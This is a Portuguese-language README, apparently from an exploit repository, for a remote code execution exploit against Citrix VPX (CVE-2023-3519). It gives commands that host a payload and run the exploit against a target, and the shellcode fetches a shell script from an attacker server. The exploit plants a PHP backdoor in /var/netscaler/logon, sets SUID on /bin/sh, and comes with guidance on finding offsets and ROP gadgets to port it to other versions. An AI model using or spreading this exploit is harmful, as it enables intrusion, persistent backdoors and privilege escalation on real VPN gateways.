
Exploit RCE para CVE-2023-3519
Este exploit usa endereços e shellcode para Citrix VPX 13.1-48.47. Para o artigo completo, clique aqui.
NASM é necessário para construir o shellcode.
$ sudo apt install nasm
O shellcode incluído irá baixar e executar um script shell de um servidor http(s) remoto. O script recebe 3 argumentos: o host alvo, a porta alvo e a URL de um payload de script shell. Um exemplo de payload que executa id e uname -a antes de se limpar está incluído neste repositório.
$ echo 'id' > a
$ python3 -m http.server &
$ python3 cve-2023-3519.py victim.com 443 attack.er:8000/a
A URL deve ser curta o suficiente para caber no buffer do shellcode, e você receberá um aviso se for muito longa.
O shellcode criará um backdoor PHP em /var/netscaler/logon/a.php e definirá o bit SUID em /bin/sh. O payload sh incluso mostra um exemplo de limpeza automática desses artefatos. Observe também que o shellcode não fecha seus descritores de arquivo, então a exploração repetida excessiva pode resultar em exaustão de recursos.
Para alvos Citrix baseados em FreeBSD, você só precisa encontrar 3 valores: o offset do ponteiro de retorno salvo, um gadget ROP jmp rsp (ou algo equivalente, como push rsp; ret;) e o endereço para pular a fim de evitar um crash. Esses parâmetros estão todos codificados perto do topo de cve-2023-3519.py. Para certas versões, você também pode precisar encontrar um quarto valor para corrigir o valor de RBP, já que o compilador gera cargas relativas a RBP em vez de usar instruções POP para restaurar registradores salvos.